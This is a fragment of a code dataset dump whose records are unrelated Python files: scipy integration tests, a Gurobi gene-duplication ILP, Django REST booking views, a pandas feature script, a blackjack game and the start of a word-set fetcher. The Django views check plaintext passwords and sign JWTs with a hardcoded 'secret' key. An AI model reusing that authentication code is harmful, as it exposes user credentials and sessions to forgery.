128)\n assert_equal(simps(y, dx=0.5), 64)\n assert_equal(simps(y, x=np.linspace(0, 4, 17)), 32)\n\n y = np.arange(4)\n x = 2**y\n assert_equal(simps(y, x=x, even='avg'), 13.875)\n assert_equal(simps(y, x=x, even='first'), 13.75)\n assert_equal(simps(y, x=x, even='last'), 14)\n\n\nclass TestCumtrapz(object):\n def test_1d(self):\n x = np.linspace(-2, 2, num=5)\n y = x\n y_int = cumtrapz(y, x, initial=0)\n y_expected = [0., -1.5, -2., -1.5, 0.]\n assert_allclose(y_int, y_expected)\n\n y_int = cumtrapz(y, x, initial=None)\n assert_allclose(y_int, y_expected[1:])\n\n def test_y_nd_x_nd(self):\n x = np.arange(3 * 2 * 4).reshape(3, 2, 4)\n y = x\n y_int = cumtrapz(y, x, initial=0)\n y_expected = np.array([[[0., 0.5, 2., 4.5],\n [0., 4.5, 10., 16.5]],\n [[0., 8.5, 18., 28.5],\n [0., 12.5, 26., 40.5]],\n [[0., 16.5, 34., 52.5],\n [0., 20.5, 42., 64.5]]])\n\n assert_allclose(y_int, y_expected)\n\n # Try with all axes\n shapes = [(2, 2, 4), (3, 1, 4), (3, 2, 3)]\n for axis, shape in zip([0, 1, 2], shapes):\n y_int = cumtrapz(y, x, initial=3.45, axis=axis)\n assert_equal(y_int.shape, (3, 2, 4))\n y_int = cumtrapz(y, x, initial=None, axis=axis)\n assert_equal(y_int.shape, shape)\n\n def test_y_nd_x_1d(self):\n y = np.arange(3 * 2 * 4).reshape(3, 2, 4)\n x = np.arange(4)**2\n # Try with all axes\n ys_expected = (\n np.array([[[4., 5., 6., 7.],\n [8., 9., 10., 11.]],\n [[40., 44., 48., 52.],\n [56., 60., 64., 68.]]]),\n np.array([[[2., 3., 4., 5.]],\n [[10., 11., 12., 13.]],\n [[18., 19., 20., 21.]]]),\n np.array([[[0.5, 5., 17.5],\n [4.5, 21., 53.5]],\n [[8.5, 37., 89.5],\n [12.5, 53., 125.5]],\n [[16.5, 69., 161.5],\n [20.5, 85., 197.5]]]))\n\n for axis, y_expected in zip([0, 1, 2], ys_expected):\n y_int = cumtrapz(y, x=x[:y.shape[axis]], axis=axis, initial=None)\n assert_allclose(y_int, y_expected)\n\n def test_x_none(self):\n y = np.linspace(-2, 2, num=5)\n\n y_int = cumtrapz(y)\n y_expected = [-1.5, -2., -1.5, 0.]\n assert_allclose(y_int, y_expected)\n\n y_int = cumtrapz(y, initial=1.23)\n y_expected = [1.23, -1.5, -2., -1.5, 0.]\n assert_allclose(y_int, y_expected)\n\n y_int = cumtrapz(y, dx=3)\n y_expected = [-4.5, -6., -4.5, 0.]\n assert_allclose(y_int, y_expected)\n\n y_int = cumtrapz(y, dx=3, initial=1.23)\n y_expected = [1.23, -4.5, -6., -4.5, 0.]\n assert_allclose(y_int, y_expected)\n\n","sub_path":"LightGBM_sklearn_scipy_numpy/source/scipy/integrate/tests/test_quadrature.py","file_name":"test_quadrature.py","file_ext":"py","file_size_in_byte":8515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"580934525","text":"import gurobipy as gp\nfrom gurobipy import *\nimport pandas as pd\nfrom gd_utils import get_tree_from_str, get_chains_for_sp_node, print_clade, process_gt\n\n\ndef run_optimizer(stree, gf, interval_limit=0, max_converted_spec=-1, time_limit=-1, outfile=\"out\", debug=0):\n solution, support = 0, {}\n try:\n dno = 0 # enumerate duplications; current number of duplication <=> interval\n dlist = [] # list of duplication nodes (order as above)\n dcomp = [] # list - for a corresponding node - list of comparable duplication numbers\n dint = [] # list - for a corresponding node - interval - list of allowed nodes in species tree\n issp = [] # list - for a corresponding node - True if speciation\n lcam = [] # list - for a corresponding node - index of a st node; its lca-mapping\n childr = [] # list - for a corresponding node - list of dno indexes of children\n exclude = [] # list - for a corresponding node - 1 if exclude; speciation not above duplication\n # to manage the support of a genomic duplication by gene trees\n mapfgtid = [] # list - for a corresponding node - id of a gene tree\n gtid = 0 # id of a gene tree; sets starting id of a gene tree\n\n # Species tree from input into constraints\n st = get_tree_from_str(stree)\n n = len(st.get_terminals())\n m = sum(len(get_tree_from_str(gt).get_terminals()) for gt in gf)\n maxdup = m - len(gf)\n print(\"Size of input data: n =\", n, \", m =\", m, \", maxdup =\", maxdup)\n\n # Create a new model\n m = gp.Model(\"FHS model ME clustering\")\n\n # ************* Create variables ****************\n # dup - every variable corresponds to a species tree node\n # dup[i] = k - will be equal to ME_score = k for that node\n dup = m.addVars(range(2 * n - 1), vtype=GRB.INTEGER, name=\"MEscore for node\")\n\n # mapf - every variable corresponds to an internal gene tree node\n # mapf[i] = k - node i from gene tree is mapped to a node k in the species tree\n # The position is represented by species tree node number, which is assigned in level-order.\n # The root node number is 0, and any ancestor number is lesser than the number of its descendant.\n mapf = m.addVars(maxdup, vtype=GRB.INTEGER, name=\"mapping\")\n\n # inttab[i,j] - intervals are stored here\n # i - potdup - for every duplication there is a corresponding interval - in total potdup intervals\n # j - 2*n-1 - interval spans over a subset of species tree nodes; total = 2*n-1;\n # inttab[i,j] = 1 - if node j in species tree S is in an interval of a duplication i\n inttab = m.addVars(maxdup, 2 * n - 1, vtype=GRB.BINARY, name=\"interval\")\n\n # chain - every variable corresponds to a chain that corresponds to a species tree node\n # chain[i,... - for a species tree node i\n # - variable value = sum( (inttab[d, i]) for d in chain);\n # duplications d from chain are comparable;\n # inttab[d, i] == 1 iff d is mapped to i\n # - there can be at most dupno different chains\n # get_chains_for_sp_node - returns n chains of duplications\n # chain[i,j] = k - if j < n; k is a number of duplications from a chain j mapped to i\n # otherwise k==0\n # max_ function can be applied to only variables; thus chain variables have to be created to compute MEscore;\n chain = m.addVars(range(2 * n - 1), maxdup, vtype=GRB.INTEGER, name=\"chain\")\n\n # variable to remove speciations that are not convereted into duplications from duplication count\n specrem = m.addVars(maxdup, vtype=GRB.BINARY, name=\"not converted speciation\")\n # ifspecmaptolca[x]=0 if speciation x is mapped to its lca-mapping, ifspecmaptolca[x]<>0 if not\n ifspecmaptolca = m.addVars(maxdup, vtype=GRB.INTEGER, name=\"if mapped to lca\")\n # ifspecmaptolcadec[x]=1 if speciation x is mapped to its lca-mapping, ifspecmaptolcadec[x]=0 if not\n ifspecmaptolcadec = m.addVars(maxdup, vtype=GRB.BINARY, name=\"if mapped to lca dec\")\n\n # compare lca mapping # NOTE: error for <0 values (!)\n iffchtolca = m.addVars(maxdup, vtype=GRB.INTEGER, name=\"if first child mapped to my lca\")\n # iffchtolcadec[x]=1 if 1st child of speciation x is mapped to its lca-mapping;iffchtolcadec[x]=0 if not\n iffchtolcadec = m.addVars(maxdup, vtype=GRB.BINARY, name=\"child1 if mapped to lca dec\")\n iffchtolcaandp = m.addVars(maxdup, vtype=GRB.BINARY, name=\"child1 of x and x mapped to lca of x\")\n\n # and for the second child (we assume binary trees)\n ifschtolca = m.addVars(maxdup, vtype=GRB.INTEGER, name=\"if second child mapped to my lca\")\n ifschtolcadec = m.addVars(maxdup, vtype=GRB.BINARY, name=\"child2 if mapped to lca dec\")\n ifschtolcaandp = m.addVars(maxdup, vtype=GRB.BINARY, name=\"child2 of x and x mapped to lca of x\")\n\n # variables to limit number of converted speciations\n ifconverted = m.addVars(maxdup, vtype=GRB.BINARY, name=\"if spec converted to dup\")\n\n # ************* Objective ****************\n # Set objective\n m.setObjective(dup.sum(), GRB.MINIMIZE)\n\n # ************* Constraints ****************\n\n if debug == 3:\n print(\"Data processing\")\n\n # constraints for monotonicity -\n for g in gf:\n (l, dno, dlist, dcomp, dint, issp, lcam, childr, exclude) = \\\n process_gt(g, st, dno, dlist, dcomp, dint, issp, lcam, childr, exclude, interval_limit)\n for lelem in l: #\n mapfgtid.append(gtid)\n gtid = gtid + 1\n\n if debug == 3:\n print(\"Interval constraints\")\n\n # constraints for intervals - duplication is placed at exactly one node from all interval nodes\n for i in range(dno):\n # constraint to control that duplication is placed at exactly one node from all interval nodes\n m.addConstr(sum((inttab[i, k] for k in dint[i])) == 1, \"interval\" + str(i))\n # and it cannot be placed outside an interval\n m.addConstr(sum((inttab[i, k] for k in range(2 * n - 1) if k not in dint[i])) == 0,\n \"outside of an interval\" + str(i))\n\n if debug == 3:\n print(\"Monotonicity constraints\")\n\n # constraints for monotonicty\n for i in range(dno):\n m.addConstr(mapf[i] == sum((k * inttab[i, k] for k in dint[i])), \"position\" + str(i))\n for j in dcomp[i]: # monotonicty apply only to all comparable duplications\n if dlist[j].is_parent_of(dlist[i]):\n m.addConstr(mapf[j] <= mapf[i], \"monotonicity\" + str(j) + \" \" + str(i))\n\n # # FIXME: for t3 test to force optimal solution\n # m.addConstr(inttab[5,0] == 1, name=\"no penalty\")\n\n if debug == 3:\n print(\"Not-converted speciation constraints\")\n # set constraints for speciations that are not converted\n for i in range(dno):\n if not issp[i]: # a duplication - no penalty\n m.addConstr(specrem[i] == 0, name=\"no penalty, duplication\")\n m.addConstr(ifconverted[i] == 0, name=\"no conversion, duplication\")\n elif exclude[i]: # speciation that cannot be converted into duplication\n # below constraints are enough; this is to simplify the model\n m.addConstr(specrem[i] == 1, name=\"penalty, speciation cannot be converted\")\n m.addConstr(ifconverted[i] == 0, name=\"no conversion\")\n else:\n # for a speciation v\n # if v is not mapped into lca-mapping of v, then v is a duplication;\n # (mapf[i] - lcam[i]) = 0 => mapped to lca-mapping\n # note (!) : lcam[i] >= mapf[i] from the definition of mapping\n m.addConstr(ifspecmaptolca[i] == (lcam[i] - mapf[i]), name=\"lca map check\")\n m.addConstr((ifspecmaptolcadec[i] == 0) >> (ifspecmaptolca[i] >= 1), name=\"lca map no\")\n # >> (ifspecmaptolca[i] * 2 >= 1)\n m.addConstr((ifspecmaptolcadec[i] == 1) >> (ifspecmaptolca[i] <= 0), name=\"lca map yes\")\n # >> (ifspecmaptolca[i] * 2 <= 1)\n\n # v is converted into duplication; (mapf[i] - lcam[i]) <> 0\n m.addConstr((ifspecmaptolcadec[i] == 0) >> (specrem[i] == 0), name=\"no penalty, lca of v\")\n m.addConstr((ifspecmaptolcadec[i] == 0) >> (ifconverted[i] == 1), name=\"conversion\")\n\n # check if child of v is mapped into lca-mapping of v--\n if len(childr[i]) == 2:\n # first\n m.addConstr(iffchtolca[i] == (mapf[childr[i][0]] - mapf[i]), name=\"child1 lca map check\")\n m.addConstr((iffchtolcadec[i] == 0) >> (iffchtolca[i] * 2 >= 1), name=\"child1 lca map no\")\n m.addConstr((iffchtolcadec[i] == 1) >> (iffchtolca[i] * 2 <= 1), name=\"child1 lca map yes\")\n\n m.addConstr(iffchtolcaandp[i] == and_(iffchtolcadec[i], ifspecmaptolcadec[i]),\n name=\"no conversion, child1 enforce duplication\")\n m.addConstr((iffchtolcaandp[i] == 1) >> (specrem[i] == 0), name=\"no penalty, child1\")\n m.addConstr((iffchtolcaandp[i] == 1) >> (ifconverted[i] == 1), name=\"conversion\")\n # second\n m.addConstr(ifschtolca[i] == (mapf[childr[i][1]] - mapf[i]), name=\"child2 lca map check\")\n m.addConstr((ifschtolcadec[i] == 0) >> (ifschtolca[i] * 2 >= 1), name=\"child2 lca map no\")\n m.addConstr((ifschtolcadec[i] == 1) >> (ifschtolca[i] * 2 <= 1), name=\"child2 lca map yes\")\n\n m.addConstr(ifschtolcaandp[i] == and_(ifschtolcadec[i], ifspecmaptolcadec[i]),\n name=\"no conversion, child2 enforce duplication\")\n m.addConstr((ifschtolcaandp[i] == 1) >> (specrem[i] == 0), name=\"no penalty, child2\")\n m.addConstr((ifschtolcaandp[i] == 1) >> (ifconverted[i] == 1), name=\"conversion\")\n\n elif len(childr[i]) == 1: # only one non-terminal child\n # NOTE: cannot use abs_(mapf[childr[i][0]] - lcam[i]) in ILP model\n # lcam[i] replace with mapf[i] and (ifspecmaptolcadec[i] == 1)\n m.addConstr(iffchtolca[i] == (mapf[childr[i][0]] - mapf[i]), name=\"child1 lca map check\")\n m.addConstr((iffchtolcadec[i] == 0) >> (iffchtolca[i] * 2 >= 1), name=\"child1 lca map no\")\n m.addConstr((iffchtolcadec[i] == 1) >> (iffchtolca[i] * 2 <= 1), name=\"child1 lca map yes\")\n\n m.addConstr(iffchtolcaandp[i] == and_(iffchtolcadec[i], ifspecmaptolcadec[i]),\n name=\"no conversion, child1 enforce duplication\")\n m.addConstr((iffchtolcaandp[i] == 1) >> (specrem[i] == 0), name=\"no penalty, child1\")\n m.addConstr((iffchtolcaandp[i] == 1) >> (ifconverted[i] == 1), name=\"conversion\")\n\n # -- if yes, then v is a duplication\n\n if debug == 3:\n print(\"Chain constraints\")\n\n # constrains to set the values of duplication chain variables according to intervals (inttab)\n if debug == 2:\n print(\"dcomp \", dcomp)\n for i in range(2 * n - 1):\n chains = get_chains_for_sp_node(i, maxdup, dcomp, dint, exclude)\n if debug == 2:\n print(\"chains \", i, chains)\n c = 0\n for el in chains:\n # NOTE: if the speciation is not converted into duplication then it is at the top of the chain\n m.addConstr(chain[i, c] == sum((inttab[k, i] - specrem[k] * inttab[k, i]) for k in el),\n name=\"chain\" + str(i) + \",\" + str(c))\n c = c + 1\n for j in range(c, maxdup):\n m.addConstr(chain[i, j] == 0, name=\"chain\" + str(i) + \",\" + str(j))\n\n # constrains to compute k - the MEscore of single species tree node i\n # - k is equal to the length of maximal chain of comparable duplications mapped to i\n for i in range(2 * n - 1):\n m.addConstr(dup[i] == max_(chain[i, j] for j in range(maxdup)), name=\"k for node(\" + str(i) + \")\")\n\n if max_converted_spec > -1:\n m.addConstr(sum(ifconverted[i] for i in range(dno)) <= max_converted_spec, name=\"conversion Limit\")\n\n if debug == 3:\n print(\"Begin optimize\")\n if debug == 3:\n m.write(\"out.lp\")\n\n # Optimize model\n if not time_limit == -1:\n m.Params.TimeLimit = time_limit\n m.optimize()\n\n if m.objVal == float('+inf'): # no feasible solution (due to termination)\n return solution, support\n\n if debug == 3:\n print(dup)\n\n # ******************* creating the output ***********************\n # OLD\n # # calculates the support of duplication episodes by gene trees (number of gene trees)\n # d = {} # key - species tree node, value - set of supporting gene trees\n # for jj in range(dno):\n # if not specrem[jj].x: # if specrem = 1 then we have a speciation\n # if mapf[jj].x not in d:\n # d[mapf[jj].x] = {mapfgtid[jj]}\n # else:\n # d[mapf[jj].x].add(mapfgtid[jj])\n # if counter in d:\n # data_list.append((print_clade(clade), dup[counter].x, len(d[counter])))\n # else:\n # data_list.append((print_clade(clade), dup[counter].x, math.nan))\n\n max_chain_bound = int(m.objVal)\n dd = {} # key - species tree node, value - list of sets of supporting gene trees along the chain\n for i in range(2 * n - 1):\n chains = get_chains_for_sp_node(i, maxdup, dcomp, dint, exclude)\n if i not in dd:\n dd[i] = []\n for el in chains: # el is a duplication chain from a gene tree\n c = 0\n for k in el: # k is a duplication in a gene tree\n if mapf[k].x == i: # if duplication k is mapped to a species tree node i\n if not specrem[k].x: # we have to exclude top nodes if they are not converted speciations\n if len(dd[i]) > c:\n dd[i][c].add(mapfgtid[k]) # add support (gt of k) for chain height (c)\n c = c + 1\n elif len(dd[i]) == c:\n dd[i].append({mapfgtid[k]}) # insert support (gt of k) for new height (c)\n c = c + 1\n print(\"Gene tree support:\")\n print(dd)\n\n solution, support = m.objVal, dd\n\n # prints the duplication episodes assigned to particular nodes\n counter = 0\n data_list = []\n for clade in st.find_clades(order='level'):\n tmp_list = [print_clade(clade), dup[counter].x]\n for n in range(max_chain_bound):\n if n < len(dd[counter]):\n tmp_list.append(len(dd[counter][n]))\n tmp_list.append(dd[counter][n])\n else:\n tmp_list.append(math.nan)\n tmp_list.append(math.nan)\n data_list.append(tmp_list)\n counter = counter + 1\n\n column_list = [\"Node Cluster\", \"ME score\"]\n for n in range(max_chain_bound):\n column_list.append(\"Level \" + str(n) + \" support\")\n column_list.append(\"Level \" + str(n) + \" trees\")\n\n df = pd.DataFrame(data_list, columns=column_list)\n df.to_csv(outfile + \".csv\")\n\n # ****************************************************************\n\n print('Total MEscore: %g' % m.objVal)\n\n if debug > 1:\n for v in m.getVars():\n if \"MEscore\" in v.varName:\n print('%s %g' % (v.varName, v.x))\n if debug == 3:\n print('%s %g' % (v.varName, v.x))\n\n except gp.GurobiError as e:\n print('Error code ' + str(e.errno) + ': ' + str(e))\n\n except AttributeError:\n print('Encountered an attribute error')\n\n return solution, support\n\n","sub_path":"gd_ilp.py","file_name":"gd_ilp.py","file_ext":"py","file_size_in_byte":16682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"24470542","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom rest_framework import status, serializers\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nimport jwt,datetime\nfrom . serializers import *\nimport requests\nfrom .models import * \n@api_view(['POST'])\ndef userRegistration(request):\n serialized = UserRegistrationSerializer(data=request.data)\n if serialized.is_valid():\n name = request.data[\"name\"]\n email = request.data[\"email\"]\n serialized.save()\n u = user.objects.get(email=email)\n id = u.id\n payload = {\n 'id':u.id,\n 'exp':datetime.datetime.utcnow() + datetime.timedelta(minutes=60),\n 'iat':datetime.datetime.utcnow()\n }\n token = jwt.encode(payload,'secret',algorithm='HS256')\n return Response({'JWT Authentication Token':token,'User id':u.id},status=status.HTTP_200_OK)\n else:\n return Response(serialized.errors,status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['POST'])\ndef userLogin(request):\n if \"email\" not in request.data:\n return Response({\"email field is missing\"},status=status.HTTP_400_BAD_REQUEST)\n if \"password\" not in request.data:\n return Response({\"password field is missing\"},status=status.HTTP_400_BAD_REQUEST)\n email = request.data[\"email\"]\n password = request.data[\"password\"]\n try:\n u = user.objects.get(email=email,password=password)\n id = u.id\n payload = {\n 'id':u.id,\n 'exp':datetime.datetime.utcnow() + datetime.timedelta(minutes=60),\n 'iat':datetime.datetime.utcnow()\n }\n token = jwt.encode(payload,'secret',algorithm='HS256')\n return Response({'JWT Authentication Token':token,'User id':u.id},status=status.HTTP_200_OK)\n except:\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n\n@api_view(['POST'])\ndef addAdvisor(request):\n serializer = addAdvisorSearializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_200_OK)\n else:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET'])\ndef getAdvisor(request,id=None):\n try:\n u = user.objects.get(id=id)\n z = advisor.objects.all()\n x = addAdvisorSearializer(z,many=True)\n return Response(x.data,status=status.HTTP_200_OK)\n except:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n@api_view(['GET','POST'])\ndef bookAdvisor(request,userId=None,advisorId=None):\n l = callsBooked.objects.all()\n flagUserId = True\n flagAdvisorId = True\n if request.method in ['GET','POST']:\n try:\n userObj = user.objects.get(id=userId)\n try:\n advisorObj = advisor.objects.get(id=advisorId)\n if request.method == 'GET':\n return Response(\"User Id and Advisor Id are correct!!!\",status=status.HTTP_200_OK)\n except:\n flagAdvisorId = False\n return Response(\"Wrong Advisor Id!!!\",status=status.HTTP_401_UNAUTHORIZED)\n except:\n flagUserId = False\n return Response(\"Wrong User Id!!!\",status=status.HTTP_401_UNAUTHORIZED)\n \n if \"dateTime\" not in request.data:\n return Response(\"dateTime field is missing\",status=status.HTTP_400_BAD_REQUEST)\n else:\n dateTime = request.data[\"dateTime\"]\n d = dateTimeSerializer(data=request.data)\n if d.is_valid():\n obj = callsBooked(dateTime=dateTime,adv=advisorObj)\n obj.save()\n return Response(status=status.HTTP_200_OK)\n else:\n return Response(\"Wrong dateTime format!!! It should be yy-mm-dd HH:MM\",status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET'])\ndef getBookedCalls(request,userId=None):\n try:\n user.objects.get(id=userId)\n adv = advisor.objects.all()\n cbooked = callsBooked.objects.all()\n d = {}\n for i in adv:\n d[i.id] = [i.name,i.photo.url]\n res = []\n for i in cbooked:\n if i.adv.id in d:\n info = d[i.adv.id]\n res.append({\"Advisor Id\":i.adv.id,\"Advisor Name\":info[0],\"Advisor Profile Pic\":info[1],\"Booking Time\":i.dateTime,\"Booking Id\":i.id})\n return Response(res,status=status.HTTP_200_OK)\n except:\n return Response(status=status.HTTP_400_BAD_REQUEST)","sub_path":"solution/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"349182680","text":"import pandas as pd\nimport numpy as np\nimport gc\nfrom utils import raw_data_path, feature_data_path, result_path, cache_pkl_path, dump_pickle, load_pickle\n\n\ndef add_AllFeatures():\n\n print('-------------------- read data----------------------------')\n data = load_pickle(raw_data_path + 'preprocess.pkl')\n\n statis_feats = ['uid_adCount','ct_adCount','aid_userCount','adCategoryId_userCount',\n 'creativeId_userCount','LBS_userCount',\n 'aid_LBSCount','adCategoryId_LBSCount','creativeId_LBSCount','ad_mean_age',\n 'creativeId_mean_age','adCategoryId_mean_age']\n\n for feat in statis_feats:\n gc.collect()\n count = pd.read_csv(feature_data_path + \"statis/\" + '%s.csv' % (feat))\n feat_1,feat_2 = list(count.columns.values)\n data = data.merge(count, how='left', on=[feat_1])\n data[feat_2].fillna(data[feat_2].mean())\n\n\n for feat_1 in ['creativeId', 'aid', 'advertiserId','campaignId','adCategoryId',\n 'productId','productType','education','age']:\n count = pd.read_csv(feature_data_path + \"ctr/\" + '%s.csv' % (feat_1+\"_ctr\"))\n data = data.merge(count, how='left', on=feat_1)\n data[feat_1].fillna(data[feat_1].mean())\n\n print (\"concat \" + feat_1 + \" over\")\n\n for feat_1, feat_2 in [ ('aid', 'age'),('creativeId', 'age'),('campaignId', 'age'),\n ('campaignId', 'gender'),\n ('advertiserId', 'age'),('aid', 'gender'),('creativeId', 'gender'),\n ('adCategoryId', 'age'), ('productType', 'age'), ('productId', 'gender'),\n ('adCategoryId', 'gender'), ('advertiserId', 'gender'),\n ('productType', 'marriageStatus'),('productType', 'gender'),\n ('adCategoryId', 'education'),('productType', 'education'),\n ('productType', 'house')\n ]:\n count = pd.read_csv(feature_data_path + \"ctr/\" + '%s.csv' % (feat_1 + '_' + feat_2+'ctr'))\n data = data.merge(count, how='left', on=[feat_1, feat_2])\n data[feat_1 + '_' + feat_2 + '_ctr'].fillna(data[feat_1 + '_' + feat_2 + '_ctr'].mean())\n\n print(\"concat \" + feat_1 +'_' + feat_2+ \" over\")\n\n print ( data.describe() )\n dump_pickle(data,raw_data_path+\"concat_smoth.pkl\",protocol=4)\n\nif __name__=='__main__':\n add_AllFeatures()\n\n\n","sub_path":"code/_3_0_concat_all_features.py","file_name":"_3_0_concat_all_features.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"453482708","text":"import random\n\nclass Deck:\n\n\tmax=52\n\tdef __init__(self,decks):\n\t\tself.decks=decks\n\t\tDeck.max=52*decks\t\n\t\treturn\n\t\t\n\n\tdef set_deck(self): #Build deck\n\t\tvalues = [v for v in range(2, 11)] + \"J Q K A\".split()\n\t\tvalues=values * self.decks\n\t\tsuits = \"Diamonds Clubs Hearts Spades\".split()\n\t\tdeck_of_cards = [\"%s of %s\" % (v, s) for v in values for s in suits]\n\t\ta=random.shuffle(deck_of_cards)\n\t\treturn(deck_of_cards)\n\t\t\n\n\tdef pick_card(self,de): #Pick a card\n\t\t#print(\"len de\", len(de))\n\t\ta = random.randint(0,len(de)-1)\n\t\t#print(\"a=\", a)\n\t\treturn de[a]\n\n\tdef cal_total(self,card,total,hand): #Calculate total\n\t\tprint(\"im in\")\n\t\tface=[i[0:2].strip() for i in hand]\n\t\tface.sort()\n\t\t#print('face is',face)\n\t\ttotal_new=0\n\t\twhile len(face)!=0 and face[0].isdigit():\n\t\t\ttotal_new+=int(face[0])\n\t\t\tdel face[0]\n\t\t\t#print(face,total_new)\n\t\tface.sort(reverse=True)\n\t\tcount=face.count('A')\n\t\twhile len(face)!=0:\n\t\t\tif face[0]=='K' or face[0]=='Q' or face[0]=='J':\n\t\t\t\ttotal_new+=10\n\t\t\t\tdel face[0]\n\t\t\telif total_new<=10 and face[0]=='A':\n\t\t\t\ttotal_new+=11\n\t\t\t\tdel face[0]\n\t\t\telif total_new>10 and face[0]=='A':\n\t\t\t\ttotal_new+=1\n\t\t\t\tdel face[0]\n\t\t\t\n\n\t\t#'''if card[0]=='K' or card[0]=='Q' or card[0]=='J' or card[0:2]=='10':\n\t\t#\ttotal+=10\n\t\t#elif card[0]=='A' and (total+11) > 21 :\n\t\t#\ttotal+=1\n\t\t#elif card[0]=='A':\n\t\t#\ttotal+=11\n\t\t#else:\n\t\t#\ttotal+= int(card[0])\n\t\treturn total_new\n\t\t\n\tdef check_total(self,total_p1,total_d):\n\t\tif total_p1 == 21:\n\t\t\treturn 'Player wins the game'\n\t\telif total_p1 > 21 :\n\t\t\treturn 'Player lost'\n\t\telif total_d <= 21 and total_d > total_p1 :\n\t\t\tprint()\n\t\t\treturn 'Player lost. You lost $ ' + str( tabs['Player1'])\n\t\telif total_d < 21 and total_d < total_p1 :\n\t\t\tprint()\n\t\t\treturn \"Player wins. You won $ \" + str( tabs['Player1'])\n\t\telif total_d > 21 :\n\t\t\treturn \"Player wins. You won $ \" + str( tabs['Player1'])\n\t\telif total_d==total_p1 :\n\t\t\treturn \"Its a draw\"\n\n\t\nglobal d, deck, total_p1,total_d,playercards,dealercards,hand,tabs\n\n\ndef reset():\n\tglobal d, deck, total_p1,total_d,playercards,dealercards,hand,tabs\n\td=Deck(3)\n\tdeck=d.set_deck()\n\ttotal_p1=0\n\ttotal_d=0\n\tplayercards=[]\n\tdealercards=[]\n\thand=[]\n\ttabs={}\n\ndef game_play(hand,totalval):\n\tcard=d.pick_card(deck)\n\thand.append(card)\n\ttotal_value=d.cal_total(card,totalval,hand)\n\t\n\tdeck.remove(card)\n\treturn card, total_value, hand\n\n#print(len(deck))\n\n\n#Round1\n#Player\ndef ini_round(players):\n\tglobal playercards,total_d, total_p1, dealercards\n\tfor i in range(0,int(players)):\n\t\tcard, total_p1, playercards= game_play(playercards,total_p1)\n\t\tprint('Player'+str(i+1)+' this is your first card: '+ str(card) + ' and your current total is :', total_p1)\n\n\t#Dealer\n\tcard, total_d, dealercards= game_play(dealercards,total_d)\n\tprint('''this is the Dealer's first card: ''' + str(card) + \" and the dealer's total is: \", total_d)\n\n\tfor j in range(0,int(players)):\n\t\t#PlayerRound2\n\t\tcard, total_p1, playercards= game_play(playercards,total_p1)\n\t\tprint('Player' + str(0+1) +' this is your second card: '+ str(card) + ' and your current total is :', total_p1)\n\tif total_p1==21:\n\t\tprint(d.check_total(total_p1,total_d))\n\ndef bets(players):\n\tglobal bet, tabs\n\tfor i in range(0,int(players)):\n\t\tbet=int(input('Player' +str(players)+' how much would you like to bet: '))\n\t\ttabs['Player'+str(players)]=bet\n\t\tprint(tabs)\n\n\n\ndef game_on():\n\t#players=input('How many players are playing: ')\n\tglobal playercards,total_d, total_p1, dealercards\n\tplayers=1\n\tbets(players)\n\tini_round(players)\n\tif total_p1 !=21 :\n\t\tinm=input('Enter 1 to Hit or 2 to Stand: ')\n\n\t#PlayerLoop\n\tif total_p1<21:\n\t\tfor i in range(0,int(players)):\n\t\t\twhile inm.lower()=='1' and total_p1 < 22:\n\t\n\t\t\t\tcard, total_p1, playercards= game_play(playercards,total_p1)\n\t\t\t\tprint('this is your new card: '+ str(card) + ' and your current total is :', total_p1)\n\t\n\t\t\t\t#print(playercards)\n\t\t\t\tif total_p1 < 21:\n\t\t\t\t\tinm=input('Enter 1 to Hit or 2 to Stand: ')\n\t\t\t\telif total_p1 == 21:\n\t\t\t\t\tprint(d.check_total(total_p1,total_d))\n\t\t\t\t\tprint('you won $', tabs['Player1']*1.5)\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tprint(d.check_total(total_p1,total_d))\n\t\t\t\t\tprint('you lost$', tabs['Player1'])\n\n\t\t\t\t\tbreak\n\n\n\t#DealerLoop\n\twhile inm =='2' and total_d<17:\n\t\tcard, total_d, dealercards= game_play(dealercards,total_d)\n\t\tprint(\"\\nthis is the Dealer's card: \" + str(card) + \" and the dealer's total is: \", total_d)\n\t\tif total_d > 21:\n\t\t\tprint(d.check_total(total_p1,total_d))\n\t\t\t#print('Player won $', tabs['Player1'])\n\n\t\telif total_d >= 17:\n\t\t\tprint(d.check_total(total_p1,total_d))\n\n\ni='yes'\nwhile i=='yes':\n\ti=input('If you want to play type Yes else type No: ').lower()\n\n\tif i == 'yes':\n\t\treset()\n\t\tgame_on()\n\telse:\n\t\tprint('Game over')\n\n\n\t","sub_path":"Python3/BlackJack/BlackJack.py","file_name":"BlackJack.py","file_ext":"py","file_size_in_byte":4642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"338345130","text":"import pandas as pd\nimport urllib.request\nimport json\nimport numpy as np\nimport pkg_resources\n\n\ndef fetch_eds(occupations_year: int = 2015,\n top_n_race_occupations: int = 15) -> dict:\n \"\"\"Fetch the word sets used in the experiments of the work *Word Embeddings\n *Quantify 100 Years Of Gender And Ethnic Stereotypes*.\n It includes gender (male, female), ethnicity (asian, black, white) and\n religion(christianity and islam) and adjetives (appearence, intelligence,\n otherization, sensitive) word sets.\n\n Reference:\n Word Embeddings quantify 100 years of gender and ethnic stereotypes.\n Garg, N., Schiebinger, L., Jurafsky, D., & Zou, J. (2018). Proceedings of\n the National Academy of Sciences, 115(16), E3635-E3644.\n\n\n Parameters\n ----------\n occupations_year : int, optional\n The year of the census for the occupations file.\n Available years: {'1850', '1860', '1870', '1880', '1900', '1910',\n '1920', '1930', '1940', '1950', '1960', '1970', '1980', '1990',\n '2000', '2001', '2002', '2003', 